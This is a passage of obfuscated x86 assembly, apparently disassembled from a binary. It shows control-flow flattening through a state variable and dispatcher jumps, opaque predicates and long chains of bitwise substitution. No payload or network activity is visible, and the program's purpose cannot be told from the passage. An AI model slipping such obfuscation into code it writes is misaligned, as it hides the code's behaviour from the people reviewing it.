mov eax, dword [ebp - 0x4a418]
or eax, edx
xor ecx, eax
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xb485b268
mov edx, 0xffffffff
xor edx, 0xaa9a85f7
or ecx, eax
mov eax, dword [ebp - 0x4a414]
or edx, 0xaa9a85f7
xor ecx, 0xffffffff
and ecx, edx
xor eax, 0xffffffff
mov edx, edi
xor edx, eax
mov eax, dword [ebp - 0x4a410]
and edx, edi
mov edi, esi
and edi, ebx
xor esi, ebx
or edi, esi
mov esi, ecx
and esi, edx
xor ecx, edx
or esi, ecx
mov edx, edi
xor edx, 0xffffffff
and edx, 0x9685db62
mov ebx, 0xffffffff
xor ebx, 0x9685db62
and edi, ebx
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0x9685db62
and esi, ebx
or edx, edi
or ecx, esi
xor edx, ecx
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and edx, esi
or ecx, edx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and eax, esi
or edx, eax
mov eax, 0xffffffff
xor eax, 0xa5fca90c
and eax, 0x1c45b74e
mov edi, 0xffffffff
xor edi, 0x1c45b74e
mov ebx, edi
and ebx, 0xa5fca90c
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0x1c45b74e
and edi, 0xffffffff
or eax, ebx
or esi, edi
xor eax, esi
mov edi, ecx
and edi, edx
xor ecx, edx
or edi, ecx
mov edx, eax
and edx, 0xa5fca90c
xor eax, 0xa5fca90c
or edx, eax
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0xdf5be83f
mov esi, 0xffffffff
xor esi, 0xdf5be83f
and edi, esi
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xdf5be83f
and esi, 0xffffffff
or ecx, edi
or eax, esi
xor ecx, eax
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x49928], eax
mov dword [ebp - 0x49a70], 0x2b31d339
jmp 0x42c62f
mov dword [ebp - 0x49a50], 0x20
mov eax, dword [0x501548]
mov ecx, dword [0x501544]
mov esi, 0x5401972f
add esi, 0
sub esi, 0xdf5c5d71
sub esi, 0x5401972f
sub esi, 0xf2678244
sub esi, 1
add esi, 0xf2678244
xor edx, edx
sub edx, 0xdf5c5d71
sub esi, edx
xor edx, edx
sub edx, 0x3096ab4d
sub edx, esi
add edx, 0x3096ab4d
xor esi, esi
sub esi, edx
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl cl
mov ch, cl
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or ch, al
mov dl, ah
xor dl, 0xff
mov al, ch
and al, dl
xor ch, 0xff
mov dl, ah
and dl, ch
or al, dl
mov ch, ah
xor ch, 0xff
mov dl, al
xor dl, ch
and dl, al
mov dh, ah
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov bl, ah
and bl, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or dh, bl
or al, ch
xor dh, al
mov al, cl
xor al, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 0
or al, dh
or ch, 0
xor al, 0xff
and al, ch
mov ch, cl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and cl, dh
or ch, cl
xor ah, 0xff
xor ch, 0xff
mov cl, 1
xor cl, 1
or ah, ch
or cl, 1
xor ah, 0xff
and ah, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov bl, dl
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov al, 1
xor al, 0
or bl, ah
or al, 0
xor bl, 0xff
and bl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2b94e53c
mov ecx, 0xc8a97e3a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov dword [ebp - 0x49a70], 0x4a989bb4
jmp 0x42c62f
mov eax, dword [ebp - 0x49a54]
mov dword [ebp - 0x49924], eax
mov dword [ebp - 0x49a70], 0x3b87f383
jmp 0x42c62f
mov eax, dword [ebp - 0x49924]
mov dword [ebp - 0x4a474], eax
mov edx, 0xffffffff
xor edx, 0x40000000
and edx, 0xee71edd
mov ecx, 0xffffffff
xor ecx, 0xee71edd
mov esi, ecx
and esi, 0x40000000
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xee71edd
and ecx, 0xffffffff
or edx, esi
or eax, ecx
xor edx, eax
mov eax, 0xffffffff
xor eax, 0xf50f1650
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xd474b04f
or eax, edx
or ecx, 0xd474b04f
xor eax, 0xffffffff
and eax, ecx
mov edi, 0xffffffff
xor edi, 0xf50f1650
and edi, 0xc405be3e
mov edx, 0xffffffff
xor edx, 0xc405be3e
mov esi, edx
and esi, 0xf50f1650
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xc405be3e
and edx, 0xffffffff
or edi, esi
or ecx, edx
xor edi, ecx
mov ecx, edi
xor ecx, 0xffffffff
xor ecx, 0x40000000
and ecx, 0x40000000
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xffffffff
or edx, esi
xor edx, 0xffffffff
mov ebx, 0xffffffff
xor ebx, 0xf50f1650
mov esi, 0xffffffff
xor esi, 0x618f1af6
or edx, ebx
or esi, 0x618f1af6
xor edx, 0xffffffff
and edx, esi
mov dword [ebp - 0x4a4b0], edx
mov edx, 0xffffffff
xor edx, 0xffffffff
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfec578b
or edx, edi
or esi, 0xfec578b
xor edx, 0xffffffff
and edx, esi
mov dword [ebp - 0x4a4ac], edx
mov esi, eax
xor esi, 0xffffffff
mov ebx, ecx
xor ebx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xd86db556
mov edx, esi
and edx, 0xd86db556
and eax, edi
mov dword [ebp - 0x4a4b8], eax
mov eax, ebx
and eax, 0xd86db556
mov dword [ebp - 0x4a4b4], eax
mov eax, dword [ebp - 0x4a4b8]
and ecx, edi
or edx, eax
mov eax, dword [ebp - 0x4a4b4]
or eax, ecx
mov ecx, dword [ebp - 0x4a4b0]
xor edx, eax
mov eax, dword [ebp - 0x4a4ac]
or esi, ebx
xor esi, 0xffffffff
or edi, 0xd86db556
and esi, edi
or edx, esi
mov dword [ebp - 0x4a4a0], edx
mov esi, ecx
xor esi, 0xffffffff
mov ebx, eax
xor ebx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xe2ad3c42
mov edx, esi
and edx, 0xe2ad3c42
and ecx, edi
mov dword [ebp - 0x4a4a8], ecx
mov ecx, ebx
and ecx, 0xe2ad3c42
and eax, edi
mov dword [ebp - 0x4a4a4], eax
mov eax, dword [ebp - 0x4a4a8]
or edx, eax
mov eax, dword [ebp - 0x4a4a4]
or ecx, eax
mov eax, dword [ebp - 0x4a4a0]
xor edx, ecx
mov ecx, dword [ebp - 0x4a474]
or esi, ebx
xor esi, 0xffffffff
or edi, 0xe2ad3c42
and esi, edi
or edx, esi
mov edi, eax
xor edi, 0xffffffff
mov esi, edx
and esi, edi
xor edx, 0xffffffff
and eax, edx
or esi, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xfb31d157
mov edi, 0xffffffff
xor edi, 0xfb31d157
mov ebx, ecx
and ebx, edi
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xfb31d157
and edi, 0xffffffff
or eax, ebx
or edx, edi
xor eax, edx
xor eax, 0xffffffff
xor eax, 0x8addf422
and eax, 0x8addf422
mov dword [ebp - 0x4a494], eax
mov edi, 0xffffffff
xor edi, 0x8addf422
and edi, 0x5fb76043
mov edx, 0xffffffff
xor edx, 0x5fb76043
mov ebx, edx
and ebx, 0x8addf422
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x5fb76043
and edx, 0xffffffff
or edi, ebx
or eax, edx
xor edi, eax
xor ecx, 0xffffffff
mov edx, edi
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x8f178e68
or ecx, edx
or eax, 0x8f178e68
xor ecx, 0xffffffff
and ecx, eax
mov ebx, esi
xor ebx, 0xffffffff
and ebx, 0x226e9911
mov edx, 0xffffffff
xor edx, 0x226e9911
mov eax, esi
and eax, edx
mov dword [ebp - 0x4a49c], eax
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x226e9911
mov dword [ebp - 0x4a498], eax
mov eax, dword [ebp - 0x4a49c]
and edx, 0xffffffff
or ebx, eax
mov eax, dword [ebp - 0x4a498]
or eax, edx
xor ebx, eax
mov eax, 0xffffffff
xor eax, 0x8addf422
mov edx, ebx
xor edx, eax
mov eax, dword [ebp - 0x4a494]
and edx, ebx
mov dword [ebp - 0x4a484], edx
xor edi, 0xffffffff
mov edx, esi
xor edx, edi
and edx, esi
mov dword [ebp - 0x4a488], edx
mov edx, eax
xor edx, 0xffffffff
mov ebx, ecx
xor ebx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x893885ad
mov edi, edx
and edi, 0x893885ad
and eax, esi
mov dword [ebp - 0x4a490], eax
mov eax, ebx
and eax, 0x893885ad
mov dword [ebp - 0x4a48c], eax
mov eax, dword [ebp - 0x4a490]
and ecx, esi
or edi, eax
mov eax, dword [ebp - 0x4a48c]
or eax, ecx
mov ecx, dword [ebp - 0x4a488]
xor edi, eax
mov eax, dword [ebp - 0x4a484]
or edx, ebx
xor edx, 0xffffffff
or esi, 0x893885ad
and edx, esi
or edi, edx
mov esi, eax
xor esi, 0xffffffff
mov dword [ebp - 0x4a478], esi
mov ebx, ecx
xor ebx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xa55ea6e1
and esi, 0xa55ea6e1
and eax, edx
mov dword [ebp - 0x4a480], eax
mov eax, ebx
and eax, 0xa55ea6e1
mov dword [ebp - 0x4a47c], eax
mov eax, dword [ebp - 0x4a480]
and ecx, edx
or esi, eax
mov eax, dword [ebp - 0x4a47c]
or eax, ecx
mov ecx, dword [ebp - 0x4a478]
xor esi, eax
mov eax, dword [ebp - 0x4a474]
or ecx, ebx
xor ecx, 0xffffffff
or edx, 0xa55ea6e1
and ecx, edx
or esi, ecx
mov edx, edi
xor edx, 0xffffffff
and edx, 0xf1d6842d
mov ebx, 0xffffffff
xor ebx, 0xf1d6842d
and edi, ebx
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xf1d6842d
and esi, ebx
or edx, edi
or ecx, esi
xor edx, ecx
mov esi, eax
xor esi, 0xffffffff
and esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
or esi, eax
mov eax, edx
xor eax, 0xffffffff
mov ecx, esi
and ecx, eax
xor esi, 0xffffffff
mov eax, edx
and eax, esi
or ecx, eax
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x4991d], al
mov ecx, dword [0x501548]
mov eax, dword [0x501544]
mov edx, 0xddc52021
add edx, 0
sub edx, 0x92e7e16b
sub edx, 0xddc52021
add edx, 0x4075ed97
sub edx, 1
sub edx, 0x4075ed97
xor esi, esi
sub esi, 0x92e7e16b
sub edx, esi
xor esi, esi
sub esi, edx
add esi, 0
mov edx, ecx
add edx, 0x49db7e56
sub edx, esi
sub edx, 0x49db7e56
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl bh
mov dl, bh
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, bh
and al, cl
or dl, al
mov al, bl
xor al, 0xff
mov cl, dl
and cl, al
xor dl, 0xff
mov al, bl
and al, dl
or cl, al
mov dl, bl
xor dl, 0xff
mov al, cl
xor al, dl
and al, cl
mov byte [ebp - 0x4a46c], al
mov al, bl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, bl
and cl, dl
or al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
xor bl, 0xff
mov ah, dl
xor ah, 0xff
mov cl, 1
xor cl, 1
or bl, ah
or cl, 1
xor bl, 0xff
and bl, cl
mov cl, bh
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov dh, bh
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
xor cl, 0xff
mov ch, 1
xor ch, 1
mov ah, 1
xor ah, 1
or cl, ch
or ah, 1
xor cl, 0xff
and cl, ah
mov byte [ebp - 0x4a46d], cl
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov cl, al
xor cl, 0xff
mov ch, bl
xor ch, 0xff
mov dl, 1
xor dl, 1
mov ah, cl
and ah, 0xff
and al, dl
mov dh, ch
and dh, 0xff
and bl, dl
or ah, al
mov al, byte [ebp - 0x4a46d]
or dh, bl
xor ah, dh
or cl, ch
xor cl, 0xff
or dl, 1
and cl, dl
or ah, cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov dl, cl
and dl, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or dl, al
mov al, byte [ebp - 0x4a46c]
or bl, bh
xor dl, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or dl, cl
mov dh, ah
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, ch
or dh, ah
or cl, dl
xor dh, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov ch, al
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
mov byte [ebp - 0x4a46b], dl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov bl, dh
and bl, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or cl, bl
or ah, ch
xor cl, ah
mov bh, 1
xor bh, 0
and bh, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 0
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or bh, bl
or ah, ch
xor bh, ah
mov ch, 1
xor ch, 0
mov ah, dl
xor ah, ch
and ah, dl
mov dl, bh
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov ch, cl
xor ch, 0xff
mov dl, 1
xor dl, 0
mov al, 1
xor al, 0
or ch, dl
or al, 0
xor ch, 0xff
and ch, al
xor dh, 0xff
mov al, bh
xor al, 0xff
mov dl, 1
xor dl, 0
or dh, al
mov al, byte [ebp - 0x4a46b]
or dl, 0
xor dh, 0xff
and dh, dl
mov dl, ah
and dl, bl
xor ah, bl
or dl, ah
mov ah, ch
and ah, dh
xor ch, dh
or ah, ch
mov ch, dl
xor ch, 0xff
mov bl, ah
and bl, ch
xor ah, 0xff
and dl, ah
or bl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, ah
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x4a46a], al
mov dl, 1
xor dl, 0
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov al, ah
and al, 0
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x4a46a]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1e0b3f69
mov ecx, 0xfe78d990
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov dword [ebp - 0x49a70], 0xd2708161
jmp 0x42c62f
mov ecx, dword [0x501548]
mov eax, dword [0x501544]
xor edi, edi
sub edi, 1
add edi, 0
xor edx, edx
sub edx, 0
xor esi, esi
sub esi, edi
add edx, esi
xor esi, esi
sub esi, edx
xor edi, edi
sub edi, 0xc0c1a15a
mov edx, ecx
add edx, edi
add edx, 0xe009313
add edx, esi
sub edx, 0xe009313
xor esi, esi
sub esi, 0xc0c1a15a
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl bl
mov bh, dl
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov al, dl
and al, cl
or bh, al
mov al, bl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, bl
and cl, ah
or al, cl
mov cl, 1
xor cl, 0
and cl, 1
mov ah, 1
xor ah, 1
and ah, 0
or cl, ah
mov byte [ebp - 0x4a512], cl
mov ah, bh
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov cl, ah
and cl, 0xff
and bh, ch
mov byte [ebp - 0x4a514], bh
mov bh, dh
and bh, 0xff
and al, ch
mov byte [ebp - 0x4a513], al
mov al, byte [ebp - 0x4a514]
or cl, al
mov al, byte [ebp - 0x4a513]
or bh, al
mov al, byte [ebp - 0x4a512]
xor cl, bh
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or cl, ah
mov byte [ebp - 0x4a50f], cl
mov ah, 1
xor ah, 0
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov cl, ah
and cl, 0xff
mov bh, ch
and bh, 0
mov byte [ebp - 0x4a511], bh
mov bh, dh
and bh, 0xff
and al, ch
mov byte [ebp - 0x4a510], al
mov al, byte [ebp - 0x4a511]
or cl, al
mov al, byte [ebp - 0x4a510]
or bh, al
mov al, byte [ebp - 0x4a50f]
xor cl, bh
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or cl, ah
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and al, ah
or ch, al
xor ch, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or ch, cl
or al, 0
xor ch, 0xff
and ch, al
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or cl, al
xor cl, 0xff
mov al, bl
xor al, cl
and al, bl
mov ah, bl
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or ah, bl
or cl, dh
xor ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, ch
and al, cl
or ah, al
mov byte [ebp - 0x4a50b], ah
mov bh, dh
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or bh, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
xor ah, 0xff
mov cl, 1
xor cl, 1
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
xor ch, 0xff
mov cl, dl
xor cl, 0xff
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov cl, 1
xor cl, 1
mov al, bh
xor al, cl
and al, bh
mov bl, dl
xor bl, 0xff
mov cl, dh
xor cl, bl
and cl, dh
mov dh, ah
and dh, ch
xor ah, ch
or dh, ah
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x4a50c], ch
mov bl, cl
xor bl, 0xff
mov ah, 1
xor ah, 0
and ch, 0
and al, ah
mov byte [ebp - 0x4a50e], al
mov al, bl
and al, 0
mov byte [ebp - 0x4a50d], al
mov al, byte [ebp - 0x4a50e]
and cl, ah
or ch, al
mov al, byte [ebp - 0x4a50d]
or al, cl
mov cl, byte [ebp - 0x4a50c]
xor ch, al
mov al, byte [ebp - 0x4a50b]
or cl, bl
xor cl, 0xff
or ah, 0
and cl, ah
or ch, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0
and ch, bl
or cl, dh
or ah, ch
xor cl, ah
mov byte [ebp - 0x4a50a], cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, cl
and ah, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or ah, al
mov al, byte [ebp - 0x4a50a]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or ah, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
mov ah, dl
and ah, 1
xor dl, 1
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x34ebee6f
mov ecx, 0x2663ae38
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov eax, dword [ebp - 0x498fc]
mov ecx, dword [ebp - 0x498f0]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x498ec]
mov dword [eax + 4], ecx
mov dword [ebp - 0x49a70], 0x6bf9f2a
jmp 0x42c62f
mov eax, dword [0x501548]
mov ecx, dword [0x501544]
mov edx, eax
sub edx, 0xa0bbea0b
sub edx, 0x2ec6ecb7
add edx, 0xa0bbea0b
xor esi, esi
sub esi, 0x64df9eaf
sub edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x2ec6ecb7
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xdc9881f4
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0xba56f43f
sub edx, 1
add edx, 0xba56f43f
sub edx, 0xc3682360
sub edx, 0xdc9881f4
add edx, 0xc3682360
xor esi, esi
sub esi, 0x4c0a5498
add edx, esi
add edx, 0x34f608f0
sub edx, 0x64df9eaf
sub edx, 0x34f608f0
sub edx, 0x6d92b8a0
add edx, 0x4c0a5498
add edx, 0x6d92b8a0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov dh, al
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or ah, dh
or dl, ch
xor ah, dl
mov ch, cl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov dl, cl
and dl, dh
or ch, dl
mov dl, 1
xor dl, 1
and dl, 1
mov dh, 1
xor dh, 1
and dh, 1
or dl, dh
mov bl, ah
and bl, ch
xor ah, ch
or bl, ah
mov ch, dl
and ch, 1
xor dl, 1
or ch, dl
mov dl, bl
xor dl, 0xff
and dl, 0
mov dh, 1
xor dh, 0
and bl, dh
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or dl, bl
or ah, dh
xor dl, ah
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
or dl, ch
or ah, 1
xor dl, 0xff
and dl, ah
mov bh, al
xor bh, 0xff
and bh, 0
mov ch, 1
xor ch, 0
mov dh, al
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or bh, dh
or ah, ch
xor bh, ah
xor bh, 0xff
xor bh, 0
and bh, 0
mov ch, 1
xor ch, 0
and ch, 1
mov ah, 1
xor ah, 1
and ah, 0
or ch, ah
xor al, 0xff
mov dh, ch
xor dh, 0xff
mov ah, 1
xor ah, 0
or al, dh
or ah, 0
xor al, 0xff
and al, ah
mov ah, cl
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
mov dh, cl
and dh, bl
or ah, dh
xor ah, 0xff
mov bl, 1
xor bl, 0
mov dh, 1
xor dh, 0
or ah, bl
or dh, 0
xor ah, 0xff
and ah, dh
mov byte [ebp - 0x4a556], ah
xor cl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or cl, ch
or ah, 0
xor cl, 0xff
and cl, ah
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ch, ah
and ch, 0xff
and bh, dh
mov byte [ebp - 0x4a558], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x4a557], al
mov al, byte [ebp - 0x4a558]
or ch, al
mov al, byte [ebp - 0x4a557]
or bh, al
mov al, byte [ebp - 0x4a556]
xor ch, bh
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or ch, ah
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov al, ah
xor al, 0xff
and al, 0xff
and ah, dh
or cl, ch
or al, ah
xor cl, al
mov al, dl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov ah, dl
and ah, ch
or al, ah
mov byte [ebp - 0x4a550], al
mov bh, cl
xor bh, 0xff
and bh, 1
mov ch, 1
xor ch, 1
mov dh, cl
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or bh, dh
or ah, ch
xor bh, ah
mov ah, 1
xor ah, 1
and ah, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or ah, bl
or ch, dh
xor ah, ch
mov byte [ebp - 0x4a54f], ah
mov ch, 1
xor ch, 1
mov dh, al
xor dh, ch
and dh, al
mov ch, ah
xor ch, 0xff
mov al, dl
xor al, ch
and al, dl
mov dl, 1
xor dl, 1
mov bl, bh
xor bl, dl
and bl, bh
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov byte [ebp - 0x4a553], cl
mov cl, dh
xor cl, 0xff
mov ch, al
xor ch, 0xff
mov dl, 1
xor dl, 1
mov ah, cl
and ah, 0xff
and dh, dl
mov byte [ebp - 0x4a555], dh
mov dh, ch
and dh, 0xff
and al, dl
mov byte [ebp - 0x4a554], al
mov al, byte [ebp - 0x4a555]
or ah, al
mov al, byte [ebp - 0x4a554]
or dh, al
mov al, byte [ebp - 0x4a553]
xor ah, dh
or cl, ch
xor cl, 0xff
or dl, 1
and cl, dl
or ah, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov dl, cl
and dl, 0
and bl, ch
mov byte [ebp - 0x4a552], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0x4a551], al
mov al, byte [ebp - 0x4a552]
or dl, al
mov al, byte [ebp - 0x4a551]
or bl, al
mov al, byte [ebp - 0x4a550]
xor dl, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or dl, cl
mov bl, ah
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, ch
or bl, ah
or cl, dl
xor bl, cl
mov dl, al
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
and al, ah
mov dh, ch
and dh, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x4a54f]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov dh, cl
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
and cl, dl
or dh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5ba8ab3d
mov ecx, 0xb28268b1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov ecx, dword [0x501548]
mov eax, dword [0x501544]
xor esi, esi
sub esi, 0x47f35b5e
mov edx, ecx
add edx, esi
xor esi, esi
sub esi, 0xa0b21999
sub edx, esi
add edx, 0x9ef3ffe9
add edx, 0x47f35b5e
sub edx, 0x9ef3ffe9
sub edx, 0xee7179d3
sub edx, 0x84591488
add edx, 0xee7179d3
add edx, 0x14c648e7
sub edx, 1
sub edx, 0x14c648e7
sub edx, 0x5da67f85
add edx, 0x84591488
add edx, 0x5da67f85
xor esi, esi
